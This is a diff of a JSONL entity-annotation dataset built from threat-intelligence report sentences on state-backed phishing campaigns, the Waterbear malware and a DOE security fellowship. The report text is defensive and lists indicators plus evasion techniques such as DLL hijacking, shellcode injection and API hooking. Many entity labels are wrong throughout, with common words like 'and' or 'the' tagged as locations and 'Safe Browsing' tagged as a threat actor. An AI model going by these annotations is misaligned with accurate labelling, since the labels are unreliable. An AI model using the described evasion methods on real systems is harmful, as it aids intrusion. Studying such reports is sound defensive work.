 {"id":13456,"text":"Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.","entities":[{"id":41902,"label":"threat-actor","start_offset":18,"end_offset":29},{"id":41903,"label":"attack-pattern","start_offset":41,"end_offset":49},{"id":41904,"label":"location","start_offset":58,"end_offset":61},{"id":41909,"label":"location","start_offset":188,"end_offset":191},{"id":41912,"label":"location","start_offset":239,"end_offset":242}],"relations":[],"Comments":[]}
-{"id":13457,"text":"In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.","entities":[{"id":41915,"label":"location","start_offset":11,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":13458,"text":"Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.","entities":[{"id":41920,"label":"location","start_offset":105,"end_offset":108},{"id":41921,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":13459,"text":" Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.","entities":[{"id":41923,"label":"location","start_offset":41,"end_offset":44},{"id":41924,"label":"threat-actor","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":13460,"text":"We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.","entities":[{"id":41926,"label":"location","start_offset":32,"end_offset":35},{"id":41927,"label":"location","start_offset":96,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":13461,"text":"We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.","entities":[{"id":41928,"label":"location","start_offset":75,"end_offset":79},{"id":41929,"label":"location","start_offset":89,"end_offset":92},{"id":41930,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":13462,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[{"id":41931,"label":"tools","start_offset":61,"end_offset":67},{"id":41932,"label":"location","start_offset":68,"end_offset":71},{"id":41933,"label":"location","start_offset":72,"end_offset":80},{"id":41934,"label":"location","start_offset":94,"end_offset":97},{"id":41935,"label":"location","start_offset":122,"end_offset":126},{"id":41936,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":13463,"text":"We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[{"id":41937,"label":"location","start_offset":23,"end_offset":29},{"id":41938,"label":"location","start_offset":51,"end_offset":54},{"id":41939,"label":"location","start_offset":101,"end_offset":109},{"id":41940,"label":"location","start_offset":110,"end_offset":113},{"id":41941,"label":"location","start_offset":197,"end_offset":200}],"relations":[],"Comments":[]}
 {"id":13464,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.","entities":[{"id":41942,"label":"location","start_offset":9,"end_offset":12},{"id":41944,"label":"location","start_offset":61,"end_offset":64},{"id":41946,"label":"identity","start_offset":91,"end_offset":95},{"id":41947,"label":"location","start_offset":223,"end_offset":229}],"relations":[],"Comments":[]}
 {"id":13465,"text":"On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
 {"id":13466,"text":"Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.","entities":[{"id":41953,"label":"location","start_offset":21,"end_offset":24},{"id":41954,"label":"location","start_offset":25,"end_offset":33},{"id":41955,"label":"location","start_offset":68,"end_offset":71},{"id":41956,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":41958,"label":"location","start_offset":138,"end_offset":141},{"id":41960,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
@@ -13472,7 +8887,6 @@
 {"id":13472,"text":"We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.","entities":[{"id":51544,"label":"threat-actor","start_offset":44,"end_offset":59},{"id":51545,"label":"identity","start_offset":111,"end_offset":142}],"relations":[{"id":1101,"from_id":51544,"to_id":51545,"type":"targets"}],"Comments":[]}
 {"id":13473,"text":"And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.","entities":[],"relations":[],"Comments":[]}
 {"id":13474,"text":"As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.","entities":[{"id":51546,"label":"threat-actor","start_offset":45,"end_offset":66},{"id":51547,"label":"location","start_offset":82,"end_offset":87},{"id":51548,"label":"identity","start_offset":141,"end_offset":144}],"relations":[{"id":1102,"from_id":51546,"to_id":51548,"type":"targets"},{"id":1103,"from_id":51546,"to_id":51547,"type":"located-at"}],"Comments":[]}
-{"id":13475,"text":"The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.","entities":[{"id":51549,"label":"location","start_offset":156,"end_offset":159},{"id":51554,"label":"location","start_offset":196,"end_offset":202},{"id":51555,"label":"location","start_offset":212,"end_offset":214},{"id":51550,"label":"location","start_offset":162,"end_offset":170},{"id":51551,"label":"location","start_offset":172,"end_offset":178},{"id":51552,"label":"location","start_offset":180,"end_offset":185},{"id":51553,"label":"location","start_offset":187,"end_offset":194}],"relations":[],"Comments":[]}
 {"id":13476,"text":"The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.","entities":[],"relations":[],"Comments":[]}
 {"id":13477,"text":"The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.","entities":[],"relations":[],"Comments":[]}
 {"id":13478,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[],"relations":[],"Comments":[]}
@@ -13520,18 +8934,14 @@
 {"id":13520,"text":"Learn more about the activities and targets of Void Balaur in our research paper, Void Balaur: Tracking a Cybermercenary’s Activities.","entities":[{"id":42161,"label":"threat-actor","start_offset":47,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":13521,"text":"    Tags  APT & Targeted Attacks | Cyber Crime | Research | Articles, News, Reports","entities":[],"relations":[],"Comments":[]}
 {"id":13522,"text":"The US Department of Energy (DOE) recently launched the Operational Technology (OT) Defender Fellowship.","entities":[{"id":51581,"label":"identity","start_offset":4,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":13523,"text":"Another milestone step from the Department in enhancing the US's critical infrastructure.","entities":[{"id":51582,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
 {"id":13524,"text":"In collaboration with DOE's Idaho National Laboratory (INL) and the Foundation for Defense of Democracies' (FDD) Center for Cyber and Technology Innovation (CTTI), the OT Defender Fellowship hopes to expand the knowledge of primary US front-line critical infrastructure defenders.","entities":[{"id":51583,"label":"identity","start_offset":29,"end_offset":59},{"id":51584,"label":"identity","start_offset":68,"end_offset":105},{"id":51585,"label":"identity","start_offset":113,"end_offset":156},{"id":51587,"label":"identity","start_offset":168,"end_offset":190}],"relations":[],"Comments":[]}
-{"id":13525,"text":"Briolette also said that operation technology security managers play a vital role in keeping the core physical systems of the US's energy infrastructure running smoothly, especially during natural disasters, physical sabotage, and even nation-state cyberattacks.","entities":[{"id":51588,"label":"location","start_offset":126,"end_offset":128}],"relations":[],"Comments":[]}
 {"id":13526,"text":"Sharing cybersecurity knowledge to the private sector","entities":[],"relations":[],"Comments":[]}
-{"id":13527,"text":"The OT Defender Fellowship is a 12-month program for operational technology security managers in the US energy sector.","entities":[{"id":51589,"label":"location","start_offset":101,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":13528,"text":"It will enable the program participants to engage with various cyber and national experts across the US government.","entities":[],"relations":[],"Comments":[]}
 {"id":13529,"text":"The program aims to also equip them with a better understanding of the strategies and tactics of the country's adversaries and how the US government cyber operations defend the nation.","entities":[{"id":51590,"label":"identity","start_offset":135,"end_offset":149}],"relations":[],"Comments":[]}
 {"id":13530,"text":"The Fellowship aligns with the bipartisan recommendations of the congressionally mandated Cyberspace Solarium Commission (CSC).","entities":[{"id":51592,"label":"identity","start_offset":90,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":13531,"text":"King also explains that the CSC report supports operationalizing cybersecurity partnership with the private sector and remolding how the government works with the private sector.","entities":[{"id":51593,"label":"identity","start_offset":28,"end_offset":31},{"id":51594,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
 {"id":13532,"text":"King added that this DOE initiative will better protect the US from cyberattacks.","entities":[{"id":51595,"label":"identity","start_offset":0,"end_offset":4},{"id":51596,"label":"location","start_offset":60,"end_offset":62}],"relations":[],"Comments":[]}
 {"id":13533,"text":"Tom Fanning, Chairman, President & CEO of Southern Company, says that national security greatly depends on the collaboration between private sector and the government.","entities":[{"id":51597,"label":"identity","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":13534,"text":"To qualify for the fellowship, participants must be in a middle or senior management role in a US energy sector, with decision-making authority and oversight responsibility of operational technology systems.","entities":[{"id":51598,"label":"location","start_offset":95,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":13535,"text":"They must also be nominated by their organization's leadership and commit to the requirements imposed by the program.","entities":[],"relations":[],"Comments":[]}
 {"id":13536,"text":"The participant must also be a US citizen and currently hold or be able to attain federal security clearance at the Secret or higher level, or be in a role that justifies application for Department of Homeland Security-sponsored private sector clearance.","entities":[],"relations":[],"Comments":[]}
 {"id":13537,"text":"For more information about the OT Defender Fellowship, visit https:\/\/inl.gov\/otdefender\/        Tags  Latest News | ICS OT | APT & Targeted Attacks | IoT | Articles, News, Reports","entities":[{"id":42228,"label":"URL","start_offset":61,"end_offset":88}],"relations":[],"Comments":[]}
@@ -13666,7 +9076,6 @@
 {"id":13666,"text":"The displayed email header “from” and subject also pretend as a voicemail service.","entities":[],"relations":[],"Comments":[]}
 {"id":13667,"text":"“Swiftme” is possibly a nod to electronic or wire transfers and reveals the campaign’s purpose after harvesting credentials.","entities":[],"relations":[],"Comments":[]}
 {"id":13668,"text":"Figure 4.","entities":[],"relations":[],"Comments":[]}
-{"id":13669,"text":"Email sample     It should be noted that the SendGrid platform does not appear to attach the X-Mailers originally.","entities":[{"id":42540,"label":"location","start_offset":6,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":13670,"text":"Emails with different X-Mailers and headers are likely appended through tools that can confuse scan engines.","entities":[],"relations":[],"Comments":[]}
 {"id":13671,"text":"Here are some of the X-Mailers we observed:","entities":[],"relations":[],"Comments":[]}
 {"id":13672,"text":"X-Mailer: Mozilla\/5.0 (Windows; U; Win98; de-AT; rv X-Mailer: Claws Mail 3.7.6 (GTK+ 2.22.0; x86_64-pc-linux-gnu)","entities":[],"relations":[],"Comments":[]}
@@ -13713,90 +9122,43 @@
 {"id":13713,"text":"Indicators of compromise (IOCs) Threat actor-managed C&C URLs:  https:\/\/highstreetmuch[.]xyz\/hug\/gate[.]php https:\/\/takeusall[.]online\/benzz\/gate[.]PHP  MITRE ATT&CK® Matrix          Tags  Cloud | APT & Targeted Attacks | Research | Phishing | Articles, News, Reports","entities":[{"id":51760,"label":"URL","start_offset":64,"end_offset":107},{"id":51761,"label":"URL","start_offset":108,"end_offset":151}],"relations":[],"Comments":[]}
 {"id":13714,"text":"Waterbear, which has been around for several years, is a campaign that uses modular malware capable of including additional functions remotely.","entities":[{"id":51762,"label":"campaign","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
 {"id":13715,"text":"It is associated with the cyberespionage group BlackTech, which mainly targets technology companies and government agencies in East Asia (specifically Taiwan, and in some instances, Japan and Hong Kong) and is responsible for some infamous campaigns such as PLEAD and Shrouded Crossbow.","entities":[{"id":51763,"label":"threat-actor","start_offset":47,"end_offset":56},{"id":51764,"label":"location","start_offset":127,"end_offset":137},{"id":51765,"label":"location","start_offset":151,"end_offset":157},{"id":51766,"label":"location","start_offset":182,"end_offset":187},{"id":51767,"label":"location","start_offset":192,"end_offset":201},{"id":51768,"label":"campaign","start_offset":258,"end_offset":263},{"id":51772,"label":"identity","start_offset":79,"end_offset":99},{"id":51770,"label":"campaign","start_offset":268,"end_offset":285}],"relations":[{"id":1154,"from_id":51763,"to_id":51772,"type":"targets"},{"id":1155,"from_id":51772,"to_id":51764,"type":"located-at"},{"id":1156,"from_id":51772,"to_id":51765,"type":"located-at"},{"id":1157,"from_id":51772,"to_id":51766,"type":"located-at"},{"id":1158,"from_id":51772,"to_id":51767,"type":"located-at"},{"id":1159,"from_id":51763,"to_id":51768,"type":"related-to"},{"id":1160,"from_id":51763,"to_id":51770,"type":"related-to"}],"Comments":[]}
-{"id":13716,"text":"In previous campaigns, we’ve seen Waterbear primarily being used for lateral movement, decrypting and triggering payloads with its loader component.","entities":[{"id":42647,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":13717,"text":"In most cases, the payloads are backdoors that are able to receive and load additional modules.","entities":[{"id":42648,"label":"location","start_offset":3,"end_offset":7},{"id":42649,"label":"location","start_offset":28,"end_offset":31},{"id":42650,"label":"location","start_offset":47,"end_offset":50},{"id":42651,"label":"location","start_offset":67,"end_offset":70},{"id":42652,"label":"location","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":13718,"text":"However, in one of its recent campaigns, we’ve discovered a piece of Waterbear payload with a brand-new purpose: hiding its network behaviors from a specific security product by API hooking techniques.","entities":[{"id":42655,"label":"location","start_offset":94,"end_offset":99},{"id":42656,"label":"location","start_offset":158,"end_offset":166},{"id":42657,"label":"attack-pattern","start_offset":182,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":13719,"text":"In our analysis, we have discovered that the security vendor is APAC-based, which is consistent with BlackTech’s targeted countries.","entities":[{"id":42658,"label":"location","start_offset":45,"end_offset":53},{"id":42659,"label":"location","start_offset":54,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":13720,"text":"Knowing which specific APIs to hook might mean that the attackers are familiar with how certain security products gather information on their clients' endpoints and networks.","entities":[{"id":42661,"label":"location","start_offset":31,"end_offset":35},{"id":42662,"label":"location","start_offset":66,"end_offset":69},{"id":42663,"label":"location","start_offset":96,"end_offset":104},{"id":42664,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
 {"id":13721,"text":"And since the API hooking shellcode adopts a generic approach, a similar code snippet might be used to target other products in the future and make Waterbear harder to detect.","entities":[{"id":42665,"label":"location","start_offset":0,"end_offset":3},{"id":42666,"label":"attack-pattern","start_offset":18,"end_offset":25},{"id":42667,"label":"location","start_offset":103,"end_offset":109},{"id":42668,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":13722,"text":"A closer look at Waterbear Waterbear employs a modular approach to its malware.","entities":[],"relations":[],"Comments":[]}
-{"id":13723,"text":"It utilizes a DLL loader to decrypt and execute an RC4-encrypted payload.","entities":[{"id":42671,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":13724,"text":"Typically, the payload is the first-stage backdoor which receives and loads other executables from external attackers.","entities":[{"id":42673,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":13725,"text":"These first-stage backdoors can be divided into two types: First, to connect to a command-and-control (C&C) server, and second, to listen in on a specific port.","entities":[{"id":42675,"label":"location","start_offset":28,"end_offset":31},{"id":42678,"label":"location","start_offset":90,"end_offset":93},{"id":42679,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":13726,"text":"Sometimes, the hardcoded file paths of the encrypted payloads are not under Windows native directories (e.g., under security products or third-party libraries' directories), which may indicate that the attackers might have prior knowledge of their targets' environments.","entities":[{"id":42681,"label":"location","start_offset":62,"end_offset":65},{"id":42682,"label":"location","start_offset":116,"end_offset":124},{"id":42683,"label":"location","start_offset":180,"end_offset":183}],"relations":[],"Comments":[]}
-{"id":13727,"text":"It is also possible that the attackers use Waterbear as a secondary payload to help maintain presence after gaining some levels of access to the targets’ systems.","entities":[{"id":42686,"label":"location","start_offset":121,"end_offset":127}],"relations":[],"Comments":[]}
 {"id":13728,"text":"The evidence is that Waterbear frequently uses internal IPs as its own C&C servers (for instance, b9f3a3b9452a396c3ba0ce4a644dd2b7f494905e820e7b1c6dca2fdcce069361 uses an internal IP address of 10[.]0[.]0[.]211 as its C&C server).","entities":[{"id":42688,"label":"SHA2","start_offset":98,"end_offset":162},{"id":42689,"label":"IPV4","start_offset":194,"end_offset":210}],"relations":[],"Comments":[]}
 {"id":13729,"text":"The typical Waterbear infection chain  Figure 1.","entities":[{"id":42690,"label":"tools","start_offset":12,"end_offset":21}],"relations":[],"Comments":[]}
 {"id":13730,"text":"A typical Waterbear infection chain","entities":[{"id":42692,"label":"malware","start_offset":10,"end_offset":19}],"relations":[],"Comments":[]}
 {"id":13731,"text":"A Waterbear infection starts from a malicious DLL loader, as shown in Figure 1.","entities":[],"relations":[],"Comments":[]}
 {"id":13732,"text":"We have seen two  techniques of DLL loader triggering.","entities":[],"relations":[],"Comments":[]}
-{"id":13733,"text":"One is modifying a legitimate server application to import and load the malicious DLL loader, while the second technique is performing phantom DLL hijacking and DLL side loading.","entities":[{"id":42697,"label":"location","start_offset":59,"end_offset":62},{"id":42698,"label":"location","start_offset":63,"end_offset":67},{"id":42700,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":13734,"text":"Some Windows services try to load external DLLs with hardcoded DLL names or paths during boot-up.","entities":[{"id":42701,"label":"location","start_offset":29,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":13735,"text":"However, if the DLL is a legacy DLL (i.e., one that is no longer supported by Windows) or a third-party DLL (i.e., one that is not part of the original Windows system DLLs), attackers can give their malicious DLL a hardcoded DLL name and place it under one of the searched directories during the DLL loading process.","entities":[{"id":42702,"label":"location","start_offset":43,"end_offset":46},{"id":42703,"label":"location","start_offset":115,"end_offset":118},{"id":42704,"label":"location","start_offset":184,"end_offset":187},{"id":42705,"label":"location","start_offset":188,"end_offset":192},{"id":42706,"label":"location","start_offset":234,"end_offset":237},{"id":42707,"label":"location","start_offset":253,"end_offset":256}],"relations":[],"Comments":[]}
-{"id":13736,"text":"After the malicious DLL is loaded, it will gain the same permission level as the service that loads it.","entities":[{"id":42708,"label":"location","start_offset":38,"end_offset":42},{"id":42709,"label":"location","start_offset":52,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":13737,"text":"During our recent Waterbear investigation, we discovered that the DLL loader loaded two payloads.","entities":[],"relations":[],"Comments":[]}
 {"id":13738,"text":"The payloads performed functionalities we have never seen in other Waterbear campaigns.","entities":[],"relations":[],"Comments":[]}
-{"id":13739,"text":"The first payload injects code into a specific security product to hide the campaign’s backdoor.","entities":[{"id":42714,"label":"location","start_offset":47,"end_offset":55},{"id":42715,"label":"location","start_offset":76,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":13740,"text":"The second payload is a typical Waterbear first-stage backdoor, which we will attempt to dissect first based on a specific case we observed during our analysis.","entities":[{"id":42719,"label":"location","start_offset":73,"end_offset":77},{"id":42721,"label":"location","start_offset":123,"end_offset":127}],"relations":[],"Comments":[]}
 {"id":13741,"text":"Waterbear’s first-stage backdoor","entities":[],"relations":[],"Comments":[]}
-{"id":13742,"text":"We saw a Waterbear loader named \"ociw32.dll\" inside one of the folders in the %PATH% environmental variable.","entities":[{"id":42725,"label":"location","start_offset":52,"end_offset":55}],"relations":[],"Comments":[]}
 {"id":13743,"text":"This DLL name is hardcoded inside \"mtxoci.dll\" which is loaded by the MSDTC service during boot-up.","entities":[],"relations":[],"Comments":[]}
 {"id":13744,"text":"“mtxoci.dll” first tries to query the registry key \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\MSDTC\\MTxOCI\" to see if the value \"OracleOciLib\" exists.","entities":[{"id":42726,"label":"REGISTRYKEY","start_offset":52,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":13745,"text":"If so, it retrieves the data inside it and loads the corresponding library.","entities":[{"id":42727,"label":"location","start_offset":39,"end_offset":42},{"id":42728,"label":"location","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":13746,"text":"If the value doesn't exist, “mtxoci.dll” tries to load \"ociw32.dll\" instead.","entities":[{"id":42729,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":13747,"text":"During our investigation, we noticed that the value \"OracleOciLib\" was deleted from the victim's machine, as shown in Figure 2.","entities":[],"relations":[],"Comments":[]}
-{"id":13748,"text":"Hence, the malicious loader \"ociw32.dll\" was loaded and successfully executed on the host.","entities":[{"id":42731,"label":"location","start_offset":52,"end_offset":55},{"id":42732,"label":"location","start_offset":85,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":13749,"text":"Figure 2.","entities":[],"relations":[],"Comments":[]}
-{"id":13750,"text":"The deleted value \"OracleOciLib\" on the victim's host","entities":[{"id":42734,"label":"location","start_offset":49,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":13751,"text":"Note: The image on the left  shows how  the DLL on a normal machine normally looks.","entities":[{"id":42735,"label":"location","start_offset":53,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":13752,"text":"The image on the right showcases how the DLL on a victim's machine appears.","entities":[],"relations":[],"Comments":[]}
 {"id":13753,"text":"Because there is no \"OracleOciLib\" value, it loads the hardcoded DLL \"ociw32.dll\" instead, which triggers the malicious Waterbear DLL loader.","entities":[],"relations":[],"Comments":[]}
-{"id":13754,"text":"After the Waterbear DLL loader is executed, it searches for a hardcoded path and tries to decrypt the corresponding payload, which is a piece of encrypted shellcode.","entities":[{"id":42738,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":13755,"text":"The decryption algorithm is RC4, which takes the hardcoded path to form the decryption key.","entities":[],"relations":[],"Comments":[]}
-{"id":13756,"text":"If the decrypted payload is valid, it picks a specific existing Windows Service — LanmanServer, which is run by svchost.exe — and injects the decrypted shellcode into the legitimate service.","entities":[{"id":42739,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":13757,"text":"In most cases, the payload is a first-stage backdoor, and its main purpose is to retrieve second-stage payloads — either by connecting to a C&C server or opening a port to wait for external connections and load incoming executables.","entities":[{"id":42740,"label":"location","start_offset":3,"end_offset":7},{"id":42742,"label":"location","start_offset":54,"end_offset":57},{"id":42744,"label":"location","start_offset":202,"end_offset":205},{"id":42745,"label":"location","start_offset":206,"end_offset":210}],"relations":[],"Comments":[]}
-{"id":13758,"text":"Configuration of the first-stage backdoor Waterbear’s first-stage backdoor configuration contains the information required for the proper execution of and communication with external entities.","entities":[{"id":42747,"label":"location","start_offset":151,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":13759,"text":"Offset 0x00, Size 0x10: Encryption \/ decryption key for the functions Offset 0x10, Size 0x04: 0x0BB8 (reserved) Offset 0x14, Size 0x10: Version (e.g., 0.13, 0.14, 0.16, and so on) Offset 0x24, Size 0x10: Mutex or reserved bytes Offset 0x34, Size 0x78: C&C server address which is XOR-encrypted by key 0xFF.","entities":[{"id":42751,"label":"location","start_offset":169,"end_offset":172}],"relations":[],"Comments":[]}
-{"id":13760,"text":"If the backdoor is intended to listen in on a specific port, this section will be filled with 0x00.","entities":[{"id":42752,"label":"location","start_offset":66,"end_offset":73},{"id":42753,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":13761,"text":"Offset 0xAC, Size 0x02: Port Offset 0xAE, Size 0x5A: Reserved bytes Table:","entities":[],"relations":[],"Comments":[]}
 {"id":13762,"text":"The function address table of the payload.","entities":[],"relations":[],"Comments":[]}
-{"id":13763,"text":"The block is initially filled with 0x00 and will be propagated during runtime.","entities":[{"id":42754,"label":"location","start_offset":40,"end_offset":43},{"id":42755,"label":"location","start_offset":44,"end_offset":48}],"relations":[],"Comments":[]}
 {"id":13764,"text":"Table: The sizes of functions Table:","entities":[],"relations":[],"Comments":[]}
 {"id":13765,"text":"The API address table.","entities":[],"relations":[],"Comments":[]}
-{"id":13766,"text":"The block is initially filled with 0x00 and will be filled with loaded API addresses during runtime.","entities":[{"id":42756,"label":"location","start_offset":40,"end_offset":43},{"id":42757,"label":"location","start_offset":44,"end_offset":48}],"relations":[],"Comments":[]}
 {"id":13767,"text":"Table: The API hashes for dynamic API loading","entities":[],"relations":[],"Comments":[]}
-{"id":13768,"text":"A list of DLL names and the number of APIs to be loaded   Figure 3.","entities":[{"id":42758,"label":"location","start_offset":2,"end_offset":6},{"id":42759,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":13769,"text":"The first-stage backdoor’s configuration structure Anti-memory scanning of shellcode payload","entities":[{"id":42762,"label":"location","start_offset":41,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":13770,"text":"In order to avoid in-memory scanning during runtime, the payload encrypts all of the function blocks before executing the actual malicious routine.","entities":[],"relations":[],"Comments":[]}
-{"id":13771,"text":"Afterwards, whenever it needs to use a function, it will decrypt the function, execute it, and encrypt the function back again, as can be seen in Figure 4.","entities":[{"id":42763,"label":"location","start_offset":52,"end_offset":56},{"id":42764,"label":"location","start_offset":91,"end_offset":94},{"id":42765,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":13772,"text":"If a function will not be used on the rest of the execution, it will be scrambled by another mess-up function, as illustrated in Figure 6.","entities":[{"id":42767,"label":"location","start_offset":14,"end_offset":18},{"id":42768,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":13773,"text":"The mess-up function muddles up the bytes with random values and makes the input blocks unrecoverable.","entities":[{"id":42770,"label":"location","start_offset":61,"end_offset":64}],"relations":[],"Comments":[]}
 {"id":13774,"text":"The purpose of this is to further avoid being detected by a certain cybersecurity solution.","entities":[],"relations":[],"Comments":[]}
 {"id":13775,"text":" Figure 4.","entities":[],"relations":[],"Comments":[]}
 {"id":13776,"text":"The decryption-execution-encryption flow in the shellcode execution routine  Figure 5.","entities":[],"relations":[],"Comments":[]}
-{"id":13777,"text":"The function for the function block encryption and decryption  Figure 6.","entities":[{"id":42773,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":13778,"text":"The payload’s mess-up function Same Waterbear, different story","entities":[{"id":42775,"label":"location","start_offset":31,"end_offset":35},{"id":42777,"label":"location","start_offset":57,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":13779,"text":"During our investigation, we found a peculiar incident that stands out from most of the Waterbear infections we’ve previously seen.","entities":[{"id":42778,"label":"location","start_offset":37,"end_offset":45},{"id":42779,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]}
 {"id":13780,"text":"This time, the DLL loader loaded two payloads – the first payload performed functionalities we have not seen before: It injected codes into a specific security product to do API hooking in order to hide the backdoor from the product.","entities":[{"id":42781,"label":"location","start_offset":5,"end_offset":9},{"id":42784,"label":"location","start_offset":151,"end_offset":159},{"id":42785,"label":"attack-pattern","start_offset":178,"end_offset":185}],"relations":[],"Comments":[]}
 {"id":13781,"text":"Meanwhile, the second payload is a typical Waterbear first-stage backdoor.","entities":[],"relations":[],"Comments":[]}
 {"id":13782,"text":" Figure 7.","entities":[],"relations":[],"Comments":[]}
 {"id":13783,"text":"An unusual Waterbear infection chain","entities":[],"relations":[],"Comments":[]}
-{"id":13784,"text":"Both payloads were encrypted and stored on the victim’s disk and were injected into the same service, which was, in this case, LanmanServer.","entities":[{"id":42791,"label":"location","start_offset":29,"end_offset":32},{"id":42792,"label":"location","start_offset":61,"end_offset":64},{"id":42793,"label":"location","start_offset":88,"end_offset":92},{"id":42794,"label":"location","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":13785,"text":"We have observed that the loader tried to read the payloads from the files, decrypted them, and performed thread injections with the following conditions:  If the first payload could not be found on the disk, the loader would be terminated without loading the second one.","entities":[{"id":42796,"label":"location","start_offset":86,"end_offset":90},{"id":42797,"label":"location","start_offset":92,"end_offset":95},{"id":42800,"label":"location","start_offset":267,"end_offset":270}],"relations":[],"Comments":[]}
-{"id":13786,"text":"If the first payload was successfully decrypted and injected into the service, the second piece would also be loaded and injected regardless of what happened to the first thread.","entities":[{"id":42802,"label":"location","start_offset":48,"end_offset":51},{"id":42804,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":13787,"text":"In the first injected thread, if the necessary executable from the security product was not found, the thread would be terminated without performing other malicious routines.","entities":[{"id":42807,"label":"location","start_offset":67,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":13788,"text":"Note that only the thread would be terminated, but the service would still be running.","entities":[{"id":42808,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":13789,"text":" Regardless if the API hooking was performed or otherwise, the second backdoor would still be executed after having been successfully loaded.","entities":[{"id":42809,"label":"attack-pattern","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":13790,"text":"API hooking to evade detection","entities":[{"id":42811,"label":"attack-pattern","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":13791,"text":"In order to hide the behaviors of the first-stage backdoor (which is the second payload), the first payload uses API hooking techniques to avoid being detected by a specific security product and to make an interference in the result of the function execution.","entities":[{"id":42815,"label":"attack-pattern","start_offset":117,"end_offset":124},{"id":42816,"label":"location","start_offset":174,"end_offset":182},{"id":42817,"label":"location","start_offset":191,"end_offset":194}],"relations":[],"Comments":[]}
